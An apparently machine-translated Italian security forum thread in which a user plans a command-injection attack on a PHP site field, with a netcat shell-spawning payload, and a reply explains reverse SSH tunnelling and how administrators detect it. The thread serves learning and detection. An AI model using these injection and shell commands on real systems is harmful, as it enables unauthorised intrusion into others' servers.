Reverse shell attack e proxy intercettazioni ... c'è qualcosa che non va?

2

Per prima cosa ho alcune domande su Reverse shell.

COPERCHIO INVERSA

Sto cercando di capire la tecnica della Reverse Shell.

Il mio ragionamento è il seguente (sarei felice se potessi segnalare un errore a riguardo)

1) La shell inversa è diversa (direi il contrario) da una shell normale poiché in questo caso particolare il server remoto apre una connessione (la shell normale o diretta implica che il client stabilisce una connessione al server)

2) La shell inversa può ignorare i controlli del firewall poiché si tratta fondamentalmente di una connessione in uscita. I firewall dovrebbero proteggersi dalle connessioni in entrata (probabilmente questo potrebbe essere discutibile)

ATTACK

3) Inoltre, lo scenario seguente è fattibile? (Voglio dire, posso iniettare il comando attraverso un software proxy come ZAP?)

Scenario: un sito è vulnerabile ai dati di input dell'utente. Gli utenti inseriscono i dati attraverso un campo di testo.

Sistema operativo: GNU / Linux. Server: Apache / 2.2.15 X-Powered-By: PHP / 5.3.5

Supponiamo che attraverso un software proxy (come ZAP) dopo un controllo, tu sia in grado di farlo nota che c'è un campo che corrisponde al campo di input dell'utente disponibile attraverso l'interfaccia utente.

Il campo è chiamato: user_val .

Detto questo, posso provare a iniettare un semplice separatore di comandi ";" che praticamente è come se imposti: user_val=;

Poi noto che ci sono alcuni file incorporati nella pagina web restituita dall'applicazione.

Wow, l'app è vulnerabile.

L'applicazione è vulnerabile, quindi è possibile interagire direttamente con il file system del server. Ora ... il problema nodoso (per me) 4) Il seguente comando è corretto? (Usando ZAP, cerco di aprire una shell inversa)

netcat -v -e '/bin/bash' -l -p 40552 

-v (verbose), - e (quando viene stabilita una connessione esegue la shell Bash), -l (parametro per ascoltare una connessione) -p (consente di assegnare una porta per l'ascolto, qui la porta 40552), la porta scelta deve essere libera.

5) Quindi usando ZAP l'iniezione è il seguente codice corretto?:

user_val=; netcat -v -e '/bin/bash' -l -p 40552 

Grazie mille (mi scuso per il post lungo).

    
posta g9999 01.01.2013 - 16:20
fonte

1 risposta

1

Sì, è possibile utilizzare l'inversione ssh per ignorare i limiti di ingresso del firewall.

Ma Dato che devi eseguire un comando sulla destinazione:

ssh -R 2222:localhost:22 myuser@myipaddres

Questo sarà visibile da sysadmin tramite un semplice

ps -C ssh ww

Questo comando stamperà il tuo indirizzo IP e il login utilizzato per ssh remoto.

Il seguente comando:

netstat -tanp |
    sed -ne  '
        s/tcp.*\(127.0.0.[0-9]*\):22[\t ]*:.* \([0-9]\+\)\/.*//p
        ' |
        xargs -n1 ps wwho sid --ppid |
        xargs  -n1 ps efwh --sid

stamperà esattamente ciò che stai facendo in questo momento.

A tutti, se sei connesso a un honeybot, (reale) .bashrc contiene qualcosa come script per registrare tutto ciò che fai.

E ultimo ma non meno importante , Reverse SSH impegna che il target ha un accesso a uno dei tuoi host. Quindi attenzione che in questo host non ci sia un'altra sessione ssh aperta.

    
risposta data 01.01.2013 - 17:27
fonte

Leggi altre domande sui tag